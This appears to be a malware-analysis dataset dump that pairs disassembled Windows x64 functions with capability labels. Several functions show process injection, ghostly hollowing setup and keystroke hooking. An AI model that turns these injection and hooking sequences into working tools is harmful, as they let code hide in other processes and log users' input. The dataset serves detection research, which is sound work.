joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400f3720
Capabilities:
Capture screenshot

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
sub rsp, 0x80
mov rbp, rcx
mov rcx, qword [rcx + 0x20]
call qword [sym.imp.USER32.dll_GetParent]
mov r12, rax
test rax, rax
je 0x1400f387f
mov rcx, qword [rbp + 0xd0]
test rcx, rcx
je 0x1400f3766
call qword [sym.imp.GDI32.dll_DeleteObject]
mov rcx, qword [rbp + 0x20]
and qword [rbp + 0xd0], 0
and dword [rsp + 0x50], 0
and dword [rsp + 0x54], 0
and dword [rsp + 0x58], 0
and dword [rsp + 0x5c], 0
lea rdx, [rsp + 0x50]
call qword [sym.imp.USER32.dll_GetWindowRect]
and dword [rsp + 0xa0], 0
and dword [rsp + 0xa4], 0
lea rdx, [rsp + 0xa0]
mov rcx, r12
call qword [sym.imp.USER32.dll_ClientToScreen]
mov r8d, dword [rsp + 0xa4]
mov edx, dword [rsp + 0xa0]
mov esi, dword [rsp + 0x58]
mov edi, dword [rsp + 0x5c]
lea rcx, [rsp + 0x50]
sub esi, dword [rsp + 0x50]
sub edi, dword [rsp + 0x54]
neg r8d
neg edx
call qword [sym.imp.USER32.dll_OffsetRect]
mov rcx, r12
call qword [sym.imp.USER32.dll_GetDC]
mov rcx, rax
mov r13, rax
call qword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov r8d, edi
mov edx, esi
mov rcx, r13
mov rbx, rax
call qword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
lea rcx, [rsp + 0x60]
mov rdx, rbx
mov r8, rax
mov qword [rbp + 0xd0], rax
call fcn.140058dd0
mov eax, dword [rsp + 0x54]
and qword [rsp + 0x60], 0
mov dword [rsp + 0x40], 0xcc0020
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x30], eax
mov r9d, esi
xor r8d, r8d
xor edx, edx
mov rcx, rbx
mov qword [rsp + 0x28], r13
mov dword [rsp + 0x20], edi
call qword [sym.imp.GDI32.dll_BitBlt]
lea rcx, [rsp + 0x60]
call fcn.140058e24
test rbx, rbx
je 0x1400f386e
mov rcx, rbx
call qword [sym.imp.GDI32.dll_DeleteDC]
test r13, r13
je 0x1400f387f
mov rdx, r13
mov rcx, r12
call qword [sym.imp.USER32.dll_ReleaseDC]
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r13
pop r12
pop rdi
ret

Function at 0x1400f7a18
Capabilities:
Get disk information

Disassembly:
push rbx
sub rsp, 0x20
mov eax, 0xffdf
and cx, ax
mov eax, 0x41
cmp ax, cx
je 0x1400f7a41
mov eax, 0x42
cmp ax, cx
je 0x1400f7a41
mov eax, 0xfffffffe
jmp 0x1400f7a6a
mov word [rsp + 0x38], cx
mov eax, 0x3a
lea rcx, [rsp + 0x38]
xor ebx, ebx
mov word [rsp + 0x3a], ax
mov word [rsp + 0x3c], bx
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 2
setne bl
mov eax, ebx
add rsp, 0x20
pop rbx
ret

Function at 0x1400f7b40
Capabilities:
Create process on windows

Disassembly:
mov r11, rsp
sub rsp, 0x78
mov qword [rsp + 0x58], 0xfffffffffffffffe
mov rax, qword [rsp + 0xc8]
mov qword [r11 - 0x30], rax
mov rax, qword [rsp + 0xc0]
mov qword [r11 - 0x38], rax
mov rax, qword [rsp + 0xb8]
mov qword [r11 - 0x40], rax
mov rax, qword [rsp + 0xb0]
mov qword [r11 - 0x48], rax
mov eax, dword [rsp + 0xa8]
mov dword [rsp + 0x28], eax
mov eax, dword [rsp + 0xa0]
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov dword [rsp + 0x50], eax
jmp 0x1400f7ba6
add rsp, 0x78
ret
Function at 0x1400fea04
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov dword [rsp + 0x18], r8d
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov r12d, r8d
mov ebx, edx
mov r15d, ecx
mov ecx, 8
call fcn.1401012d4
nop
cmp dword [0x140133568], 1
je 0x1400fe9b0
mov dword [0x140133564], 1
mov byte [0x140133560], r12b
test ebx, ebx
jne 0x1400fe99c
mov rcx, qword [0x1401346b0]
call sub.KERNEL32.dll_DecodePointer
mov rsi, rax
mov qword [rsp + 0x30], rax
test rax, rax
je 0x1400fe989
mov rcx, qword [0x1401346a8]
call sub.KERNEL32.dll_DecodePointer
mov rdi, rax
mov qword [rsp + 0x20], rax
mov r14, rsi
mov qword [rsp + 0x28], rsi
mov r13, rax
mov qword [rsp + 0x38], rax
sub rdi, 8
mov qword [rsp + 0x20], rdi
cmp rdi, rsi
jb 0x1400fe928
call fcn.1400fe120
cmp qword [rdi], rax
jne 0x1400fe928
jmp 0x1400fe90e
cmp rdi, rsi
jb 0x1400fe989
mov rcx, qword [rdi]
call sub.KERNEL32.dll_DecodePointer
mov rbx, rax
call fcn.1400fe120
mov qword [rdi], rax
call rbx
mov rcx, qword [0x1401346b0]
call sub.KERNEL32.dll_DecodePointer
mov rbx, rax
mov rcx, qword [0x1401346a8]
call sub.KERNEL32.dll_DecodePointer
cmp r14, rbx
jne 0x1400fe967
cmp r13, rax
je 0x1400fe987
mov r14, rbx
mov qword [rsp + 0x28], rbx
mov rsi, rbx
mov qword [rsp + 0x30], rbx
mov r13, rax
mov qword [rsp + 0x38], rax
mov rdi, rax
mov qword [rsp + 0x20], rax
jmp 0x1400fe90e
lea rdx, [0x140112340]
lea rcx, [0x140112328]
call fcn.1400fe758
lea rdx, [0x140112350]
lea rcx, [0x140112348]
call fcn.1400fe758
nop
test r12d, r12d
je 0x1400fe9bf
mov ecx, 8
call fcn.1401011d4
test r12d, r12d
jne 0x1400fe9ea
mov dword [0x140133568], 1
lea ecx, [r12 + 8]
call fcn.1401011d4
mov ecx, r15d
call fcn.1400fe6ec
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
xor r8d, r8d
xor edx, edx
jmp 0x1400fe878

Function at 0x1400fea10
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
lea edx, [r8 + 1]
jmp 0x1400fe878
Function at 0x140109c0f
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x140130550]
jne 0x140100b5a
rol rcx, 0x10
test cx, 0xffff
jne 0x140100b56
repz ret
ror rcx, 0x10
jmp 0x140109b68
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x140133f20]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov r11, qword [0x140134018]
mov qword [rsp + 0x58], r11
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140109bed
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x140133f20]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x140109c0f
mov rax, qword [rsp + 0x88]
mov qword [0x140134018], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x140133fb8], rax
mov rax, qword [0x140134018]
mov qword [0x140133e90], rax
mov rax, qword [rsp + 0x90]
mov qword [0x140133fa0], rax
mov dword [0x140133e80], 0xc0000409
mov dword [0x140133e84], 1
mov rax, qword [0x140130550]
mov qword [rsp + 0x68], rax
mov rax, qword [0x140130558]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x140133f18], eax
mov ecx, 1
call fcn.140108d54
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x1401257c0]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x140133f18], 0
jne 0x140109c96
mov ecx, 1
call fcn.140108d54
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x14010a810
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x40
mov ebp, r8d
mov r13, rdx
mov r14, rcx
call fcn.1400fe120
xor ebx, ebx
mov rdi, rax
cmp qword [0x1401343f8], rbx
jne 0x14010a916
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
je 0x14010a9eb
lea rdx, str.MessageBoxA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14010a9eb
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, [0x140125820]
mov rcx, rsi
mov qword [0x1401343f8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x140134400], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetUserObjectInformationA
mov rcx, rsi
mov qword [0x140134408], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov r11, rax
mov qword [0x140134418], rax
test rax, rax
je 0x14010a90d
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov qword [0x140134410], rax
jmp 0x14010a91d
mov rax, qword [0x140134410]
jmp 0x14010a924
mov rax, qword [0x140134410]
mov r11, qword [0x140134418]
cmp rax, rdi
je 0x14010a98c
cmp r11, rdi
je 0x14010a98c
mov rcx, rax
call sub.KERNEL32.dll_DecodePointer
mov rcx, qword [0x140134418]
mov rsi, rax
call sub.KERNEL32.dll_DecodePointer
mov r12, rax
test rsi, rsi
je 0x14010a98c
test rax, rax
je 0x14010a98c
call rsi
test rax, rax
je 0x14010a986
lea rcx, [rsp + 0x88]
mov r9d, 0xc
lea r8, [rsp + 0x30]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x14010a986
test byte [rsp + 0x38], 1
jne 0x14010a98c
bts ebp, 0x15
jmp 0x14010a9ca
mov rcx, qword [0x140134400]
cmp rcx, rdi
je 0x14010a9ca
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x14010a9ca
call rax
mov rbx, rax
test rax, rax
je 0x14010a9ca
mov rcx, qword [0x140134408]
cmp rcx, rdi
je 0x14010a9ca
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x14010a9ca
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x1401343f8]
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x14010a9eb
mov r9d, ebp
mov r8, r13
mov rdx, r14
mov rcx, rbx
call rax
jmp 0x14010a9ed
xor eax, eax
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
add rsp, 0x40
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret
Function at 0x14001104b
Capabilities:
Get common file path

Disassembly:
jmp 0x14001a970
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x7e8
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x162
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x808]
mov rax, qword [0x140039040]
xor rax, rbp
mov qword [rbp + 0x7b8], rax
lea rcx, [0x1400410ff]
call fcn.140011a05
nop
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rbp + 8], rax
lea rdx, str.NtCreateProcessEx
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x28], rax
lea rdx, str.NtCreateThreadEx
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x48], rax
lea rdx, str.NtQueryInformationProcess
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x68], rax
mov rcx, qword [rbp + 0x7e8]
call fcn.140011690
mov qword [rbp + 0x88], rax
mov rcx, qword [rbp + 0x7e8]
call fcn.140011a23
mov dword [rbp + 0xa4], eax
lea rax, [rbp + 0xd0]
mov rdi, rax
xor eax, eax
mov ecx, 0x208
rep stosb byte [rdi], al
lea rax, [rbp + 0x300]
mov rdi, rax
xor eax, eax
mov ecx, 0x208
rep stosb byte [rdi], al
lea rdx, [rbp + 0x300]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
mov dword [rbp + 0x524], eax
lea r9, [rbp + 0xd0]
xor r8d, r8d
lea rdx, [0x1400333e8]
lea rcx, [rbp + 0x300]
call qword [sym.imp.KERNEL32.dll_GetTempFileNameW]
nop
mov r8d, dword [rbp + 0xa4]
mov rdx, qword [rbp + 0x88]
lea rcx, [rbp + 0xd0]
call fcn.14001137f
mov qword [rbp + 0x548], rax
cmp qword [rbp + 0x548], 0
je 0x14001aac6
cmp qword [rbp + 0x548], 0xffffffffffffffff
jne 0x14001aacd
mov eax, 0xffffffff
jmp 0x14001aaff
mov r8, qword [rbp + 0x7e0]
mov rdx, qword [rbp + 0x88]
mov rcx, qword [rbp + 0x548]
call fcn.140011389
mov dword [rbp + 0x564], eax
cmp dword [rbp + 0x564], 0xffffffff
jne 0x14001aafd
mov eax, 0xffffffff
jmp 0x14001aaff
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x140030030]
call fcn.140011875
mov rax, rdi
mov rcx, qword [rbp + 0x7b8]
xor rcx, rbp
call fcn.14001150a
lea rsp, [rbp + 0x7c8]
pop rdi
pop rbp
ret

Function at 0x1400110b9
Capabilities:
Resume thread

Disassembly:
jmp 0x14001e240
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0xe8
lea rbp, [rsp + 0x20]
lea rcx, [0x1400410fe]
call fcn.140011a05
nop
mov rcx, qword [rbp + 0xe0]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
nop
lea rsp, [rbp + 0xc8]
pop rdi
pop rbp
ret
Function at 0x1400111cc
Capabilities:
Process ghostly hollowing

Disassembly:
jmp 0x14001cf30
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x2b8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x72
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x2d8]
mov rax, qword [0x140039040]
xor rax, rbp
mov qword [rbp + 0x278], rax
lea rcx, [0x1400410fe]
call fcn.140011a05
nop
mov rdx, qword [rbp + 0x2a0]
lea rcx, [rbp + 0x1f8]
call fcn.140011352
mov qword [rbp + 0x268], rax
mov rax, qword [rbp + 0x268]
mov qword [rbp + 0x270], rax
mov r8, qword [rbp + 0x270]
lea rdx, [0x140032160]
lea rcx, [rbp + 8]
call fcn.14001123a
nop
lea rcx, [rbp + 0x1f8]
call fcn.1400118ca
nop
lea rax, [rbp + 0x48]
mov rdi, rax
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
lea rcx, [rbp + 8]
call fcn.14001135c
mov rdx, rax
lea rcx, [rbp + 0x48]
call fcn.1400119bf
nop
lea rax, [rbp + 0x78]
mov rdi, rax
xor eax, eax
mov ecx, 0x30
rep stosb byte [rdi], al
mov dword [rbp + 0x78], 0x30
mov qword [rbp + 0x80], 0
mov dword [rbp + 0x90], 0x40
lea rax, [rbp + 0x48]
mov qword [rbp + 0x88], rax
mov qword [rbp + 0x98], 0
mov qword [rbp + 0xa0], 0
lea rax, [rbp + 0xc8]
mov rdi, rax
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
mov qword [rbp + 0xf8], 0xffffffffffffffff
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 3
lea r9, [rbp + 0xc8]
lea r8, [rbp + 0x78]
mov edx, 0xc0110000
lea rcx, [rbp + 0xf8]
call fcn.14001182f
mov dword [rbp + 0x114], eax
cmp dword [rbp + 0x114], 0
jge 0x14001d0c5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_To_Create_Target_File_Eror_Code_is__x_n
call fcn.1400114d3
nop
mov qword [rbp + 0x238], 0xffffffffffffffff
lea rcx, [rbp + 8]
call fcn.1400118ca
mov rax, qword [rbp + 0x238]
jmp 0x14001d0e3
mov rax, qword [rbp + 0xf8]
mov qword [rbp + 0x258], rax
lea rcx, [rbp + 8]
call fcn.1400118ca
mov rax, qword [rbp + 0x258]
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x14002f290]
call fcn.140011875
mov rax, rdi
mov rcx, qword [rbp + 0x278]
xor rcx, rbp
call fcn.14001150a
lea rsp, [rbp + 0x288]
pop rdi
pop rbp
ret
Function at 0x140011415
Capabilities:
Log keystrokes via application hook

Disassembly:
jmp 0x140018d40
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x3c8
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x8a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x3e8]
mov rax, qword [0x140039040]
xor rax, rbp
mov qword [rbp + 0x390], rax
lea rcx, [0x1400410ff]
call fcn.140011a05
nop
mov rcx, qword [rbp + 0x3c0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x140018dce
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov rdx, qword [rbp + 0x3c0]
lea rcx, str.Failed_To_Load_Dll__S__Error_Code_is_0x_x_n
call fcn.1400114d3
nop
mov eax, 0xffffffff
jmp 0x140018f6b
mov rdx, qword [rbp + 0x3c8]
lea rcx, [rbp + 0x28]
call fcn.140011352
nop
lea rax, [rbp + 0x288]
mov qword [rbp + 0x2b8], rax
lea rax, [rbp + 0x2d8]
mov qword [rbp + 0x308], rax
lea rcx, [rbp + 0x264]
call fcn.14001124e
mov qword [rbp + 0x378], rax
mov rdx, qword [rbp + 0x2b8]
lea rcx, [rbp + 0x28]
call fcn.1400117ee
mov qword [rbp + 0x380], rax
mov rdx, qword [rbp + 0x308]
lea rcx, [rbp + 0x28]
call fcn.140011500
mov qword [rbp + 0x388], rax
mov rax, qword [rbp + 0x378]
mov r9, rax
mov r8, qword [rbp + 0x380]
mov rdx, qword [rbp + 0x388]
lea rcx, [rbp + 0x68]
call fcn.140011555
nop
lea rcx, [rbp + 0x68]
call fcn.1400110dc
mov rdx, rax
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xa8], rax
cmp qword [rbp + 0xa8], 0
jne 0x140018eca
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov rdx, qword [rbp + 0x3c8]
lea rcx, str.Failed_To_Resolve_Function_address__S__Error_Code_is_0x_x_n
call fcn.1400114d3
nop
mov dword [rbp + 0x324], 0xffffffff
lea rcx, [rbp + 0x68]
call fcn.1400111b8
nop
lea rcx, [rbp + 0x28]
call fcn.1400118ca
mov eax, dword [rbp + 0x324]
jmp 0x140018f6b
xor r9d, r9d
mov r8, qword [rbp + 8]
mov rdx, qword [rbp + 0xa8]
mov ecx, 2
call qword [sym.imp.USER32.dll_SetWindowsHookExW]
mov qword [rbp + 0xc8], rax
cmp qword [rbp + 0xa8], 0
jne 0x140018f2e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_To_Set_Windows_Hool__Error_Code_is_0x_x_n
call fcn.1400114d3
nop
mov dword [rbp + 0x344], 0xffffffff
lea rcx, [rbp + 0x68]
call fcn.1400111b8
nop
lea rcx, [rbp + 0x28]
call fcn.1400118ca
mov eax, dword [rbp + 0x344]
jmp 0x140018f6b
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
mov rcx, qword [rbp + 0xc8]
call qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
nop
mov dword [rbp + 0x364], 0
lea rcx, [rbp + 0x68]
call fcn.1400111b8
nop
lea rcx, [rbp + 0x28]
call fcn.1400118ca
mov eax, dword [rbp + 0x364]
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14002f390]
call fcn.140011875
mov rax, rdi
mov rcx, qword [rbp + 0x390]
xor rcx, rbp
call fcn.14001150a
lea rsp, [rbp + 0x3a8]
pop rdi
pop rbp
ret
Function at 0x140011483
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
jmp 0x140018ab0
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x1c8
lea rbp, [rsp + 0x40]
lea rcx, [0x1400410ff]
call fcn.140011a05
nop
mov qword [rbp + 8], 0
mov qword [rbp + 0x28], 0
mov dword [rbp + 0x44], 0
mov qword [rbp + 0x68], 0
mov qword [rbp + 0xa8], 0
mov r8d, dword [rbp + 0x1a0]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x140018b43
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov edx, dword [rbp + 0x1a0]
lea rcx, str.Failed_to_Open_handle_to_process_PID__d__Error_Code_is0x_x_n
call fcn.1400114d3
nop
mov eax, 0xffffffff
jmp 0x140018cb1
mov rcx, qword [rbp + 0x1a8]
call qword [sym.imp.ucrtbased.dll_wcslen]
lea rax, [rax + rax + 2]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, rax
mov rdx, qword [rbp + 0x68]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x68], rax
cmp qword [rbp + 0x68], 0
jne 0x140018ba5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov edx, dword [rbp + 0x1a0]
lea rcx, str.Failed_to_Allocate_Memory_in_process_PID__d__Error_Code_is0x_x_n
call fcn.1400114d3
nop
mov eax, 0xffffffff
jmp 0x140018cb1
mov rcx, qword [rbp + 0x1a8]
call qword [sym.imp.ucrtbased.dll_wcslen]
lea rax, [rax + rax + 2]
mov qword [rsp + 0x20], 0
mov r9, rax
mov r8, qword [rbp + 0x1a8]
mov rdx, qword [rbp + 0x68]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0
jne 0x140018c07
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov edx, dword [rbp + 0x1a0]
lea rcx, str.Failed_to_Write_to_Memory_in_process_PID__d__Error_Code_is0x_x_n
call fcn.1400114d3
nop
mov eax, 0xffffffff
jmp 0x140018cb1
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.LoadLibraryW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xa8], rax
cmp qword [rbp + 0xa8], 0
jne 0x140018c51
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_Get_CreateRemoteThread_Address_Error_Code_is0x_x_n
call fcn.1400114d3
nop
mov eax, 0xffffffff
jmp 0x140018cb1
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov rax, qword [rbp + 0x68]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0xa8]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
jne 0x140018caf
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov edx, dword [rbp + 0x1a0]
lea rcx, str.Failed_to_Create_Remote_Thread_in_process_PID__d__Error_Code_is0x_x_n
call fcn.1400114d3
nop
mov eax, 0xffffffff
jmp 0x140018cb1
xor eax, eax
lea rsp, [rbp + 0x188]
pop rdi
pop rbp
ret
Function at 0x1400114b5
Capabilities:
Terminate process

Disassembly:
jmp 0x1400180a0
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x20]
lea rcx, [0x1400410fe]
call fcn.140011a05
nop
mov dword [rbp + 4], 0
jmp 0x1400180da
mov eax, dword [rbp + 4]
inc eax
mov dword [rbp + 4], eax
mov eax, dword [rbp + 0x120]
cmp dword [rbp + 4], eax
jge 0x14001811b
movsxd rax, dword [rbp + 4]
mov rdx, qword [rbp + 0x130]
mov rcx, qword [rbp + 0x128]
mov rcx, qword [rcx + rax*8]
call qword [sym.imp.ucrtbased.dll_wcscmp]
test eax, eax
jne 0x140018119
mov eax, dword [rbp + 0x120]
dec eax
cmp dword [rbp + 4], eax
jge 0x140018119
mov eax, dword [rbp + 4]
inc eax
jmp 0x140018160
jmp 0x1400180d2
mov eax, 8
imul rax, rax, 1
mov rcx, qword [rbp + 0x128]
mov rcx, qword [rcx + rax]
call qword [sym.imp.ucrtbased.dll__wtoi]
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 6
je 0x14001815b
mov rdx, qword [rbp + 0x130]
lea rcx, str.Suppy_Argument_for_the__S_Switch_n
call fcn.1400114d3
nop
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll_exit]
nop
mov eax, 0xffffffff
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret

Function at 0x1400115d2
Capabilities:
Terminate process

Disassembly:
jmp 0x140024c90
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret
Function at 0x140011690
Capabilities:
Get file size
Read file on windows

Disassembly:
jmp 0x14001dd70
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x1c8
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x32
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1e8]
mov rax, qword [0x140039040]
xor rax, rbp
mov qword [rbp + 0x178], rax
lea rcx, [0x1400410fe]
call fcn.140011a05
nop
mov qword [rbp + 8], 0
mov dword [rbp + 0x24], 0
mov dword [rbp + 0x44], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0x80000000
mov rcx, qword [rbp + 0x1a0]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0xffffffffffffffff
jne 0x14001de30
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov rdx, qword [rbp + 0x1a0]
lea rcx, str.Failed_To_Open_Handle_To_File__S_Error_Code_is_0x_x_n
call fcn.1400114d3
nop
xor eax, eax
jmp 0x14001deee
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rbp + 0x64], eax
cmp dword [rbp + 0x64], 0xffffffff
jne 0x14001de61
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_To_get_File_size_Error_Code_is_0x_x_n
call fcn.1400114d3
nop
xor eax, eax
jmp 0x14001deee
movsxd rax, dword [rbp + 0x64]
mov rcx, rax
call fcn.140011456
mov qword [rbp + 0x168], rax
mov rax, qword [rbp + 0x168]
mov qword [rbp + 0x88], rax
movsxd rax, dword [rbp + 0x64]
mov r8, rax
xor edx, edx
mov rcx, qword [rbp + 0x88]
call fcn.1400117ad
nop
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x44]
mov r8d, dword [rbp + 0x64]
mov rdx, qword [rbp + 0x88]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
jne 0x14001dedc
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
